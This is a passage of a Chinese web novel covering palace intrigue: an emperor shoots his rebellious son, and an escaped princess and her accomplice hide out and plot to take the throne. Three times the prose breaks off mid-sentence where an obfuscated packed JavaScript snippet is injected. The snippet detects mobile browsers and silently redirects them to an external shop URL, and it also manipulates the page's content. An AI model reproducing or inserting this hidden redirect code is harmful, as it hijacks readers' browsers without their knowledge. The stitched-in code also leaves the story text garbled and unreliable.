“哼。”槐雾虽然不满被卫兵制止,但还是听话地坐了下来,两个人再次陷入了沉默。 “杜山去追她了。”过了一段令人难以忍受的沉默后,槐雾还是没忍住先说话了。 “我知道。”苍恃睁开眼睛,见苍恃终于有反应,槐雾也来劲了,他顾不上旁边的卫兵正在听,就一口气说出这两天被关在这里的事情来。 苍恃吃力地从他的废话里面拼凑出真实,原来是槐雾帮槐翎打了掩护,让槐翎成功离开宫殿,不过马上就被上报至皇帝那边了,皇帝也真就把槐雾抓过来审问了,不过槐雾确实只做了这么一件事,别的再问也问不出来。 比如说槐翎要去哪里,槐翎还没有同伙等等,槐雾是一点都不清楚。 眼看着审问没有结果,也不能就这么把槐雾放了,于是槐雾就一直被关在这里,又因为槐雾吵着闹着要走,卫兵还拗不过让他四处串门,这串着串着就来到苍恃这一边。 理论上这两个人是不能见面的,这也是防止有串供的可能性,但槐雾毕竟身份摆在这里,卫兵也不能太强硬地要求他。 卫兵就在旁边听完了槐雾的话,他艰难地控制了自己的面部表情,看来槐雾真的和外面传言一样愚蠢。 “你要死了,苍恃。”说完之后,槐雾有些累了,他抬头看着门外,卫兵正在来回走动,语气里隐隐带了些遗憾,但不多。 “我知道。”他平静地接受了自己的命运。 “我以为你会恨她的。”槐雾扭头看向苍恃,他没能在苍恃脸上看到任何恐惧与不安,苍恃是那么的坦荡,一副不把自己性命当一回事的模样。 苍恃抬头看了眼槐雾,他想了很久,或许是在考虑要不要说点遗言,又或者是考虑到槐雾的不靠谱,他最终只扯出一个笑容。 “我是恨的。” 槐雾觉得这个人的脑子应该是有点毛病,都在这个时候了竟然还能笑得出来,而且这笑容和说的话一点关系都没有。 他要是那么恨,干嘛还要帮槐翎?槐雾一点都不明白。 不过,既然苍恃能帮到槐翎,槐雾觉得这样也挺不错的,和槐翎比起来,苍恃自然是什么都不算的。 “你有病。”槐雾抛下一句话,他像是想起了什么,又看向了苍恃,“你喜欢温蓓吗?” 苍恃显然没想到槐雾会在这个时候提起温蓓,先不提那个卫兵会不会把温蓓的名字报上去,再者这个话题也跟这次行动一点关系都没有。 他想了一下,还是老实回答:“不喜欢。” “这样啊——”槐雾若有所思地拉长了尾调,“我觉得她是喜欢你的。” 现在说这些又有什么意义呢?苍恃没把这话说出口,他沉默了,在这个节点他是不想拖累无辜的人的,温蓓不像槐雾,她逃避不了用刑,如果用刑只怕会没了半条命。 “那你喜欢阿翎吗?”槐雾盯着他,出乎意料的是,这一次苍恃的表情有了明显的变化,那种被看穿的笨拙。 槐雾突然觉得他很好懂,也难怪要买槐翎的公寓,毕竟那是他们共同生活的家,就算只有短短半年,那也是承载了回忆的场所。 槐雾认为,可能很早很早的时候,苍恃就已经喜欢槐翎了。 或许得早到他们第一次见面的时候,毕竟槐翎很好看,性格又特别,没有人不会被她吸引。 虽然之后大部分人会被槐翎身上的尖刺吓跑就是了,不过总有人是不怕的。 “她要是知道了会很高兴的。”槐雾如此说道。 他清楚地看见苍恃眼里的光一点一点地亮了起来。 苍恃抬头盯着槐雾,嘴巴一张一合还想再追问下去,却见旁边的卫兵变了脸色,卫兵朝门外敬礼,神色惶恐。 槐雾也跟着卫兵的目光看了过去,只见槐迩站在门口,尽管是夏日,他依旧穿着象征至高无上地位的长袍。 * 槐雾被带到另一处空审讯室,槐迩并未正眼看过槐雾一次,他长得比槐雾还要高大些,除了那张仅有几分相似的脸,很难看出来他们是父子。 槐雾是打从心底害怕这个父亲的,他没感受过多少父爱,也早早和母亲分开,在这个国家,像他这样的人还有很多,只是最后他们都默默消失了。 他局促地站在一旁,不知道槐迩把他带来这里是为了什么。 直到这沉默持续有几分钟后,槐迩才斜眼看了自己的儿子,一副唯唯诺诺的模样,低眉顺眼地,没有一点继承到他应有的帝王之气。 “你是出于什么目的放走她的?”槐迩问。 槐雾抿紧嘴巴,大脑里正在思考如何回答这个问题,他悄悄抬眼去看槐迩的表情,却被他那锐利的眼神惊得全身起了鸡皮疙瘩。 “没什么目的…只是头脑一热。”槐雾含糊地回答。 “头脑一热?”槐迩重复了槐雾的话语,话音刚落,槐迩就发出了一声轻蔑的笑,“头脑一热你会那么刚好出现在那个出口?你以为我老糊涂了?” 槐雾感觉到一滴冷汗流了下来,他确实不是恰好出现在那里的。 他知道苍恃每天都会去看槐翎,猜到他正在计划什么,他太懂苍恃想要做什么,因为他有着和苍恃同样的感情。 但是和苍恃不同,他不可能说出来。 槐雾沉默不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673154|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语,拳头握紧。他是从什么时候发现的呢?大概是在看到自己的父亲牵着槐翎的手的时候吧,在惊讶与愤怒的情绪消散后,他第一次升起了那么卑劣的心理——为什么站在她身边的人不能是他? 他既庆幸自己拥有与槐翎那紧密相连的血脉,又憎恨自己竟然有槐翎亲密相连的血脉。 槐迩看穿了槐雾所有的伪装,毕竟如今槐雾这副模样,竟然和年轻的槐迩一模一样。 于是他毫不留情地训斥了槐雾,“你是个懦夫。” 槐雾扯了扯嘴角,他感觉到一股热血涌上大脑,对槐迩的尊敬也随之少了几分,几乎是下意识地,他脱口而出藏在心底最不能说出口的话语。 “那你这个皇位又是怎么偷来的?你不也害怕别人提起这件事吗?” 下一秒,槐迩的巴掌就落在了槐雾的脸上,清脆的声音回荡在审讯室内,槐雾被他打懵了,愣在原地久久不能回神。 “享受着特权的你竟然好意思提?”槐迩这一掌用了十成的力气,长袍上的装饰叮当作响,槐雾的鼻子流下血液,顺着他的嘴唇落在衣服上,晕开了一片红色。 “怎么,敢做不敢当?”槐雾冷笑,他伸手拭去嘴唇上的血液,槐迩这一巴掌没能让他收敛,反而让槐雾更加大胆。 “你谎报军情和密令,把仅剩的支援小队从前线调走,直接回到大本营逼迫老头子把密令上的名字改成你的时候,没想过会害死成千上万的人吗?” “你清楚知道前线多么渴望得到你的帮助,而你是个懦夫,你害怕上战场,所以卑劣地耍了手段,这样就能在后方坐享其成,这是老爷子给你的最后机会,而你却把枪对着老爷子的头,槐迩,你还说自己不是敢做不敢当?” 槐迩脸色阴沉,他最恨别人提起往事,更何况提起这件事的人是他的亲生儿子,一个他最看不起的儿子。 槐迩伸手想要再给槐雾一个教训,然而没等他的巴掌落下,槐雾就已经猜到他的行动,伸手挡住了槐迩的手腕,硬生生逼得他停了下来。 “你不敢看槐翎父母的眼睛,因为他们才是本应继承一切的人,而你是个小偷,你不懂战争,只懂如何玩弄政治,哦对了,还有玩-弄-女-人……”槐雾呵呵地笑了起来,“你是那么的害怕,所以找了个借口把他们一家关了起来,连年幼的槐翎都没放过,在他们身边安插了无数间谍,还在他们三个的脖子上装追踪器,只要他们三个离开别院半步,上面的机关就会触发,你是第一个能知道消息的人。” 槐迩本来不该被槐雾的话影响到的,但槐雾的话语就像是咒语,迫使他一步一步打开自己尘封已久的回忆。 槐迩还记得自己站在两具尸体前,看着他们碎得不成型的头颅,他们的双手紧紧牵在一起,无法让人联想到那是曾经的天之骄子。 在槐翎逃跑去找纪栖的那一晚,她的父母就已经死去。 他曾经和自己的兄弟在蔚蓝的天空下共同描绘战争后的未来,就连在得知皇位被槐迩夺取之后,他也没有感到生气,只是露出了落寞的笑容。 “我只是个会打仗的莽夫,让你来或许更好。” 槐迩太害怕了,他不敢看那双清澈的眼睛,也不敢去承认自己做过的事情,就连在看到槐翎时,他都总能感觉槐翎死去的父亲附身在此,让他无地自容。 “住嘴!”槐迩眼眶通红,他感觉到自己的身体正在颤抖,那是极度的愤怒,他向后退了两步,从长袍的内侧掏出一把手枪,手枪上刻着特殊的花纹,那是只有他才有资格用的武器,无时无刻昭示他高人一等的地位。 58. 第 58 章 槐雾显然没想到槐迩竟然会有一日拿枪对着自己。 但是很快他就明白了,他那些消失的兄弟姐妹,他曾经敬重的大姐,是不是也像此时此刻被自己的亲生父亲拿枪对着? 他还得多亏槐翎提起她的父母,不然槐雾这五年是断然不会想到要去调查这些往事的,这些被掩盖在光鲜亮丽背后的污秽,随着这个国家的强大起来,就变得越发恶心起来。 “大姐是怎么死的?”槐雾从喉咙深处挤出这个想要询问已久的问题,他怎么查都查不到,大姐就这么突然消失了,好像从未存在过,她是那么完美的一个人,弥补了槐雾缺失的母爱,他想要知道真相。 就当做是死前最后一个愿望。 “你大姐?”槐迩反问,他嘲弄地笑了,“不记得了,反正就在某一天死了吧。” “槐迩!”槐雾扑了上去。 他向来冲动,于是在听到槐迩的笑声那一刻,他就再也控制不住自己的脾气,他举起自己的拳头,现在的他脑海里只有一个念头——他要杀了槐迩,自己继承皇位。 可是他太弱小了,槐雾的拳头没能如愿地落在槐迩的脸上,在那瞬间,一枚子弹穿过他的胸膛,槐雾能清楚捕捉到枪口的火焰,子弹是如何射出,没入他的血肉里,击碎他的骨头,紧接着的是从胸口处传来的巨大痛楚,鲜血溅到他脸上,热热的,带着浓烈的腥味。 槐雾没来得及发出任何哀嚎,他倒在一边,整个人在地上抽搐,睁大了的眼睛死死盯着槐迩。 那是充满不甘与怨恨的眼神,血液流在他的脸上,像是两行血泪。 槐迩喘着粗气,他顺着旁边的椅子坐了下来,手里紧紧抓着自己的枪。槐迩既不感到难过,也不感到惊讶。 这样的事情他做过很多次,无论是亲人,还是同伴,只要是阻碍他的人,他都通通让他们消失,他从不做噩梦,也不会感到自责。 就算被亲儿子这样看着自己,槐迩心里依然掀不起任何波澜。 只有这样,他才能保住自己的位置。 卫兵听到枪声冲了进来,他们还以为槐迩出了什么意外,等到看见倒在旁边的槐雾时,他们犹豫了。 没有槐迩的命令,他们是不敢去救助的。 槐迩知道他们在等什么,他抬眼看向槐雾,槐雾还有一口气,那一枪离得心脏很近,但并未一枪毙命。 他盯着槐雾的眼睛,就算不想承认,槐迩也觉得槐雾确实是最像自己的后代,一样的懦弱无能,一样的冲动,又带着点狡猾。 “我曾经爱过你,父亲……”槐雾闭上了眼睛,他的呼吸逐渐变得微弱,脸上的血色迅速褪去,旁边的卫兵焦急地看着,却不敢轻举妄动。 “把他带走……”槐迩挥了挥手,“让医生处理。” 卫兵迅速把槐雾抬走了,至于能不能救回来就是后话了。 槐迩疲惫地叹了口气,地上的血液鲜艳得让人刺眼,等他像是逃避一样闭上眼睛时,那个画面又挥之不去。 紧紧牵着的手,成了一片碎肉的头,明明几年前还和槐迩一起喝酒抽烟的兄弟。 在面对他时无法隐藏的自卑与妒忌,像蓬勃生长的杂草一样,在槐迩的心底长满,渐渐占据了他的身体,让他不可控地做出了一件又一件错事。 槐迩用自己的长袍遮盖住槐翎,他不允许槐翎看到自己的父母变成这副样子,于是槐翎不被允许回到别院,她又哭又闹,在槐迩的手臂上留下牙印,这份痛楚比别的都要来得深刻。 所有人都不被允许告知真相,他们编织着一场美好的梦,如今槐翎的父母还在别院里生活着,那些人模仿着槐翎父母的字迹向槐翎寄去书信,模仿他们的声线打去电话,诉说虚假的亲情,扮演虚假的角色。 他应是要好好照顾槐翎的,她无辜,无知,成长在幸福的家庭里,是一个任谁见了都要称赞的完美女孩,这份完美却显得槐迩如此卑劣。 槐翎长大了,越来越像她的父亲,槐迩不再敢直视她了。 她愈是成长,和同龄人的差别愈大,就越能体现出老爷子当初的选择有多么正确。 这个位置不应该属于槐迩。 怀着这样的不安,槐迩对她的妒忌日益增加。 他曾无数次掐着槐翎的脖子,年幼的槐翎感到不解,少年的槐翎感到愤怒,成年的槐翎感到不屑,无论什么时候,她的眼里从未有过对他的恐惧。 她的恐惧只针对于权力,那是槐迩抢占的东西。 他没有杀死槐翎的勇气,就像他没有勇气说出那个位置是他偷来的。 在槐翎面前,所有建立起来的强大皆是不堪一击。 * 槐翎把车停在路边,她看了眼在后排熟睡的祝译,走远了些再从口袋里掏出一根烟,她抬头看着被乌云遮盖的天空,从喉咙深处呼出烟雾,再过没多久应该是要下雨了。 她连续开了接近二十个小时的车,没有一刻敢松懈,只有在进入C区内部时,她才允许自己有了些许困意。 幸好她走的时候顺了一包烟,不然现在她肯定也得睡下了。 抽完烟后槐翎散了散身上的烟味才回到车上,这一路上祝译是把二十年的眼泪都流干了,这会才昏昏沉沉睡去,念在她是孕妇的份上槐翎也不敢说什么。 距离安全屋只有二十分钟的路程,槐翎揉了下太阳穴,不管怎么样都得先到了安全屋再说。 她重新发动车辆,在狭窄的路上穿梭,最后来到了一片不起眼的街区,她看着熟睡的祝译,最终还是叹了口气把她抱了起来。 虽然这个举动有些起眼,但路人也顶多看两眼,并未有其他举动,在狭窄破旧的电梯里,她听着电梯缓慢升起的声音,最终电梯停在了八楼。 和B区不一样,这里一梯有十户,长长的走廊两边安置了数十个不同的家庭,走到尽头处,槐翎才找到祝译口中的安全屋。 钥匙放在信箱里,她一手抱着祝译,一手打开了门。 一个布置得温馨具有生活气息的房子出现在她眼前,虽然和B区的房子比起来逼仄了些,但槐翎在走进来的这一刻感觉到了前所未有的放松。 她找了个卧室把祝译放下,自己则是趁这个空隙好好洗漱了一番,洗完澡后她也没什么睡意,从冰箱拿出一罐冰啤酒,打开电视新闻就这么窝在沙发上看了起来。 在B区的时候还能看到卫兵镇压暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687345|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的新闻,在C区倒是什么都看不到了,槐翎咕咚咕咚喝了半瓶啤酒,看了眼沙发上的时钟,现在是清晨,外面已经天亮了。 她正在等待一个机会,一个可以回到A区,结束一切的机会。 她把啤酒罐捏扁扔进垃圾桶,转身回到自己的房间,在把门窗都锁好之后,才躺在床上沉沉睡去。 她久违地做了梦,在梦里的槐翎正躺在沙发上,有个人正在她旁边絮絮叨叨说着些什么,她听不清,也看不到那个人是谁,电视里正在放着时兴的电视剧,吵吵闹闹的,等到她睁眼想要看清发生了什么的时候,一扭头就看见大着肚子的祝译坐在椅子上静静地看着她。 槐翎是惊醒的。 她出了一身虚汗,这场梦莫名其妙的,反而让她没能休息好。 槐翎洗了把脸,现在是中午,正好有些饿了。 槐翎离开房间,果真看到祝译在厨房里忙活,她也是洗漱过了,换了一身宽松的衣服,和梦里的祝译几乎就要重叠。 看到槐翎出现,祝译面带微笑,从厨房里拿出一份煎蛋和培根,除了眼睛还有些肿,看起来和平时没什么差别。 “我刚吃完,你吃吧。”祝译说。 槐翎也确实是饿了,她坐下来就吃,祝译没有选择离开,而是自然地坐在她的旁边。 “之后我们有什么打算?”她问。 “应该会在这里生活一段时间,等局势稳定下来。”槐翎顿了一下,她不确定要不要把自己的打算告诉祝译,像祝译的性格,她应该会反对才是的,所以在思考了片刻后,槐翎没再说下去了。 “之后呢?”祝译不死心,她睁大了眼睛继续追问。 槐翎起身从冰箱里拿出一瓶冰咖啡,她靠着冰箱喝了一口,大脑清醒了不少。 祝译直勾勾地盯着她,看得她心里发毛。 “我会回A区。”最终槐翎还是坦白了。 出乎意料的是,祝译没有像槐翎想象那样反对,她一副“猜到了”的表情,“我明白了,你会带上我的,对吗?” 槐翎不敢回答,毕竟她确实没想过要带上祝译。以祝译现在的状态,她留在这里或许更好,到时候只要留一笔钱给祝译,她的生活基本无忧,至于她那远在A区的家人,只能说看运气了。 见槐翎不说话,祝译心里也有了底,她垂下眼眸,手里握着茶杯,在思考了一阵后,她长叹了一口气。 “抱歉,我现在还需要点时间好好平复心情。” “没关系。”槐翎自然是理解的,不论是祝译,还是她,都需要好好整理在B区发生的事情,现在她们终于有时间去处理了。 “他的事情,我是要感谢你的。”祝译的眼睛又红了,她看着槐翎,眼角涌出泪珠。 槐翎皱了眉头,随手抽了张面巾纸给她,“谢我干什么,做出判断的人不是你吗?” 祝译擦着泪,声音哽咽,是再也说不出话来了。 这好端端的怎么又哭了,槐翎看着祝译如今这副哭哭啼啼的样子只觉得脑子都在疼,她连忙从冰箱里拿出个苹果塞祝译手里,祝译捏着苹果,哭得更大声了。 “好了好了……”槐翎叹了口气。 59. 第 59 章 杜山在完成了好几项任务后才有空回一趟A区。 B区的暴动比想象中更麻烦,虽然逮捕了很多暴动成员,但他们都不是B区的人,抓来也没什么意义,而且这些人都没有供出背后的人来。 这也使得他比预料中要花更多的时间,至于追踪槐翎倒是显得没那么重要了,他彻底失去了槐翎的行踪,再浪费时间追下去也没必要,对于皇帝来说,槐翎虽然特别,但和这个国家相比,她一个人又算得了什么? 回到A区后,杜山才发现整个宫殿都进入了怪异的沉默又压抑的气氛里。 虽然早有耳闻,只不过等到真正见到皇帝时,杜山意识到这几天发生的事情对皇帝影响有多大。 槐雾现在还躺在ICU,生死未卜,心跳停跳了数次。 因为各区暴动,国家陷入了停滞的状态,各位官员呈报的报告也不怎么乐观,殷肆的事情不过是一个引子,谁也没想到竟然会有这么大的影响力,反抗军的存在也经此证明了它的必要性。 殷肆现在还关在A区里,被数十人严加看管。 槐翎出逃,谁也不知道她跑哪里去了。 唯一一个知道槐翎会在哪里的人,也在槐雾中枪的那一天趁着混乱跑了,杜山不得不分出点人手去追,让本就混乱的局面又添了些乱。 偏偏皇帝还在这个时候生病了,正值壮年的他还未立下继承人,无论如何这都不是好的信号。 杜山觉得自己就算能分身也搞不定,现在的烟是从不离手,能睡着都算不错了。 以前有苍恃这个得力助手帮忙倒还好,现在他是脑子不清醒了,什么事都做得出来,哪天把这宫殿烧了杜山都不觉得意外。 如今重担都扔给杜山了,杜山还得尽快提拔一个年轻人上来帮忙,想到这里他又点了根烟。 “关于祝译的调查报告出来了。”卫兵向杜山敬礼,他手里拿了一份文件,上面是提取出来的定位信息和通话记录。 “她那几天都有和亲朋好友联系,且定位信息在B区,根据调查,她对外说的是去B区找男朋友玩了,也就是纪栖,前几天的死者。” “在纪栖的公寓里确实有祝译的生活痕迹,至于槐翎的下落,我们调查过纪栖的公寓,没有她的任何痕迹。” 这是连根头发丝都没落下。 “我真是佩服槐翎了。”杜山轻笑,“虽然没有直接证据,但基本可以确定槐翎和祝译是同伙了,她家人那边怎么样?” 卫兵突然就不敢说话了,杜山也大概明白了几分。 祝译和母亲一起生活,她的母亲祝渊是重要的研究人员,长期在研究所进行封闭工作,对于这个国家来说,显然这样的研究人员更有价值。 “也就是说,动不了她是吗?” “是的,研究是关于太空探索项目的……机密程度很高,我们没办法和她取得联系。”卫兵的额头流下了两滴汗。 “不过祝译她似乎和槐翎的关系不大好,有没有可能是槐翎挟持了她呢?”卫兵把关于二人来往的情报递给杜山。 “这都是采集自学院的学生和教师的资料,她们几乎每次见面都闹得不怎么愉快,并且在那次宁吉死亡案件中,二人的冲突尤为激烈,之后祝译也为上校的案子出庭作证,很显然祝译和上校的关系是更为亲密的。” “也就在上个月,上校和祝译、纪栖,还有温蓓四个人是见面了的,后来祝译和上校也有单独见面,根据温蓓的证词,她能感觉二人的关系远比表面的要深。” “你的意思是,祝译和他是旧情复燃了?”杜山翘起二郎腿,饶有兴致地等着卫兵继续说下去。 “不,或许是上校在知道祝译被槐翎挟持后,极为愤怒,所以选择去营救自己暗恋的人。” “少看点八点档狗血电视剧。”杜山把手里的文件拍在卫兵的脑袋上,卫兵“哎呀”了一声,实在不明白自己的推理到底出了什么问题。 “他绝对是去找槐翎了,所以只要顺着他的踪迹就能找到。” “可是他为什么要找?他不是应该很恨槐翎才是吗?是要再次把她抓回来?可是大家又说是他放的人?”卫兵这下被杜山搞迷糊了。 “看这个。”杜山把屏幕转过去给卫兵看,那是苍恃逃跑那一天的审讯室录像,画面和声音都录制下来,所以能够清楚知道苍恃和槐雾说过了什么。 前面苍恃都没有表情,话也很少,一动不动就跟个石头一样,直到槐雾在说了最后一句话时,苍恃突然整个人变得躁动不安。 他开始观察四周有什么,观察卫兵的装备,人数,和他们的巡逻路线。 最后他找到了机会,用一己之力击晕了身边看守的卫兵,又秘密潜入了货运车厢里,成功逃脱。 卫兵睁大了眼睛,他反复听了好几遍槐雾说的话,又艰难地修正了自己的推理,才最终得出一个新的结论。 “上校他……”卫兵的喉结滑动了一下,觉得这个发现实在过于怪异和不正常,但又合乎情理。 “是有斯德哥尔摩综合征吗?” 杜山没有回答,他又拿出一根烟点上,烟圈消失在空中,卫兵觉得自己都有些呼吸困难了。 “以后他就不是上校了,这是叛变行为。” 卫兵其实是觉得很可惜的,但是他也只是一个小小的卫兵,哪有什么资格去质疑少将的决定,他叹了口气,沮丧地离开了杜山的办公室。 * 祝译漫步在街头,C区的一切对她来说都很新鲜,她四处张望,时不时驻足观看旁边的建筑物和风景。 在经过中心区的一家花店时,她被漂亮的花束吸引了注意力,不由自主地走了进去。 最后她用现金买了一束花,花束不大,闻起来时浓郁的香味。祝译并未急着回去,而是来到了公园,在公园的不远处有一处隐秘的陵园。 陵园里时不时有人献上花束,像祝译这样的人十分常见,所以她自然地走了进去,站在树下等候了一会。 夏日的太阳过于猛烈,她不希望自己中暑了。 祝译来到了一处无人拜访的墓碑前,上面的名字已经看不清,只能知道是一位老人安息在此。 祝译小声念了句对不起。 她不认识这个老人,她想祭拜的人并不长眠于此。 而她如今只能借着他人的掩护,为真正想要祭拜的人送上一束鲜花。 祝译的手轻轻覆上小腹,在这几日平稳又安定的日子里,她几乎忘记了自己是如何杀死纪栖的。 相反,和纪栖在一起的点点滴滴都能让她感到无尽的温暖,驱散了她所有不安。 那些浓烈的恨意,被背叛,被算计的痛苦,都快要想不起来了。 她在心里对自己的行为做了祷告,虽然没办法得到原谅,但她感觉心里舒畅了不少。 在回去的路上,她顺带买了一份芝士蛋糕,现在的她对甜食有着疯狂的渴求,如果不好好饱餐一顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701306|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕就会破坏今日难得的美好心情。 今天是她和槐翎约定的“最后一天”,所以她才大着胆子出了门,在充分吸取了新鲜空气和得到足够的日晒后,祝译也终于下定了决心。 回到安全屋里,槐翎依旧窝在自己的房间,她对于自己的空间有非常强的保护意识,祝译知道这是她失去安全感的表现,同时也是因为长期的逃亡生活,虽然槐翎嘴上不说,但祝译依旧能体会到弥漫在槐翎灵魂深处的焦虑感。 距离约定的时间也到了,祝译把芝士蛋糕切开一半,把另一份放在了槐翎的面前,槐翎静静地看着她,闻到祝译身上的花香,和一丝丝陵园里特有的香味。 “我已经想好了。”祝译坐在槐翎面前,她面带微笑,眼睛亮晶晶的。 槐翎低头喝了一口红茶,而后轻轻把杯子放下。 “我会解决你在C区的居留问题,房子也给你买一层新的,以后你和孩子的生活不用担心金钱问题。” “不,不是这样的。”祝译摇头,她依旧面带微笑。 槐翎这才醒悟过来,从一开始她便误会祝译了。 祝译是个聪明人,这点她必须承认,从第一次见到祝译的时候,槐翎就明白她敏锐且富有智慧,像她这样的人,选择留在C区反而是错误的。 “我不会留下孩子。”祝译说,“对我来说,它不过是细胞而已,我之后的人生里,暂时还没有它出现的计划。” 槐翎再次拿起茶杯,用茶杯遮住了脸上浮现出来的笑容,的确,这样的祝译才是她所认识的祝译。 “那么,你的计划是什么?”槐翎舀起一小块芝士蛋糕放入口中,虽然和A区吃到的品质有差距,但对现在的她们来说,这样的蛋糕也足够带来好心情。 “我会和你一起回到A区,然后看着你登上最上面的位置。” 祝译在说这句话的时候,可以轻易看到她眼里发出的光芒,就和五年前的她一模一样,倒不如说,是这五年来的祝译都封闭了自己,直到今天才重新放了出来。 槐翎眼里是挡不住的笑意,她用手撑着脑袋,慵懒地看着祝译,“你知道你刚刚说的话,足够让你判一次死刑了吗?” “难道我们现在在做的事情不够吗?” “哈!”槐翎没忍住笑出了声,“祝译,你弑夫杀子,现在还要叛国,当真是奇女子。” “换一个人上去,怎么就算叛国了?难道大家看不见现在这混乱的社会吗?如果说现在的人换了就能取得更好的未来,我相信大家都觉得我做得对,这为什么会被当作叛国呢?” “正解,我和你从未叛国,因为我们正在做的都是正确的事,拨乱反正,才是这天下人民想要看到的。” 祝译看着槐翎,只觉得现在的人才是真正的槐翎,她和传闻中一样恶劣,一样跋扈,但她的所作所为都指向一个目标,那便是最高的位置,也因此她能够毫不在意自己的名声,因为她知道最终那位置只会是她的囊中之物,这个国家不需要被恐惧控制的君主,一个真正独立与强大的君主,才是众望所归。 而她也的确早就为此做好了准备,在没有人注意到的角落里,所有人都已经被纳进了槐翎的棋盘里,她除掉公开反对自己存在的家族,除去对军权虎视眈眈的少将,在民间五年流浪只为摸清反抗军的势力与群众的意志,重返A区探查上层家族的底细只待一一清算。 现如今,槐翎的爪牙已经伸到每个人的背后,只待致命一击。 60. 第 60 章 祝译不知道槐翎的过去,她不会去问,也不感到好奇,这种合适的距离感让彼此都感到安心。 比如槐翎和纪栖的往事,远比祝译看到的要复杂得多。 祝译清楚槐翎是个对距离感非常在意的人,或许是因为过去的经历,或许是性格如此,所以她很识相从未去探查。 槐翎替祝译做了个别的身份卡,又在C区里面登记了身份信息,这样她就能在医院进行手术,祝译不知道槐翎是怎么做到的,反正槐翎的包里每个区的身份卡都有,上面的名字和个人信息都不一样。 在一个阳光灿烂的日子,槐翎和祝译一同来到了医院。 进行检查,确定数据,签字……祝译都以自己的意志完成,她全程带着微笑,没有不适,也没有犹豫。 当躺了下来的时候,祝译闭上了眼睛。 槐翎在外面等着,她今天的出行没有做太多的遮盖,反而是戴了个黑色的假发,看上去收敛了不少,看上去乖乖的,又因为是站在妇产科门口,不少人都好奇地多看了她两眼。 她来到贩卖机买了杯热咖啡,正在小口喝着的时候,医院大厅的电视里正在播放一则新闻。 “B区年轻医生被发现在家中自缢,发现时已死亡。家属情绪激动,无法接受事实。” 槐翎站在原地看了好一会,她是该恨纪栖的,那时的槐翎甚至跪下来向槐迩求情,但这都没能换来再与父母见面的机会。 在那之后只有书信,单方面的通话…… 她所付出的信任与真情,都被人拿来当做向上爬的资本,甚至堂而皇之地利用她的愧疚。 可是槐翎自己也做过这样的错事,她没有忘记苍恃被指证时露出的表情。 这些多余的情绪只会扰乱判断,槐翎把这些回忆扔进了脑海里的哪个角落,在她的复仇面前其他东西都不重要。 槐翎喝完手里的咖啡,幸好新闻里没有提到祝译,看来是被特殊处理过,现在祝译的身份估计已经暴露,也列为和槐翎一样的出逃人员。 这个新闻还是别让祝译看到了,槐翎这么想着回到了原来的位置,她坐在长凳上颇有耐心地等着,一个小时后,祝译脸色苍白地走了出来。 她手里拿着一袋药物,在看到槐翎时挤出了个勉强至极的笑容。 因为实在太难看,槐翎都没忍住皱了眉。 “我没事。”祝译还是嘴硬地说道,槐翎懒得回嘴,搀扶着她上了车,幸好路况良好,不过十来分钟就回到了安全屋。 祝译吃过药后就昏昏沉沉睡去了,槐翎把换了新号码的手机放在祝译的手边,自己则是取了些现金,去楼下的药店再补充点止痛药。 幸好祝译还年轻,在槐翎的指导下,她的身体恢复很快,一周后就已经基本没什么问题了。 医生看了眼她的病历,又仔细检查了她的各项检查报告,目光在祝译和槐翎两个人的脸上打转,似乎有些欲言又止。 “要照顾好自己,做什么事都要考虑清楚。” “是是,医生说得是。”祝译笑眯眯地说。 槐翎看着她这副模样,只觉得心里一紧,却说不出来这是什么感觉。 “家属也要多关心亲人。”医生没忍住又对槐翎嘱咐了两句,槐翎还记得自己和祝译对外的姐妹设定,只好忍着不快听从医生的教训。 祝译看着她咯咯笑了起来,一点也不像是个刚刚痊愈的人。 在医院到安全屋的路上有一个大型的商场,祝译前段时间没法出门,却甚是痴迷商场里面的甜品店,使唤了槐翎好几次去买蛋糕,不过甜食吃多了之后祝译的体重增长极为快速。于是槐翎这次就没开车,两个人就这么步行至医院,又从医院步行回安全屋。 因为中间还会路过商场,槐翎还是同意再去买一次蛋糕。 祝译知道槐翎不喜欢身体接触,和槐翎特意保持了点距离,她们并排走在人行道上,时隔多日的出门让祝译心情愉悦,她高兴地四处张望,目光在各色各样的商店招牌上流连,在路过一家饰品店时,她还是没忍住在橱窗前停了下来。 “这个好可爱哦,快看!”祝译弯腰指着里面一个心形的吊坠,宝石似乎是人造的,成色不算好。 槐翎什么珠宝没见过,有些设计师还会主动送珠宝过来,她都懒得去佩戴,不过顾及到祝译的心情,她还是敷衍地看了两眼。 设计确实简单,材料说不上好,却吸引了祝译的注意力,这也是这件吊坠的魅力所在吧。 “喜欢就买。”槐翎从口袋里拿出一张卡,祝译撇了撇嘴,这不是她想要的反应。 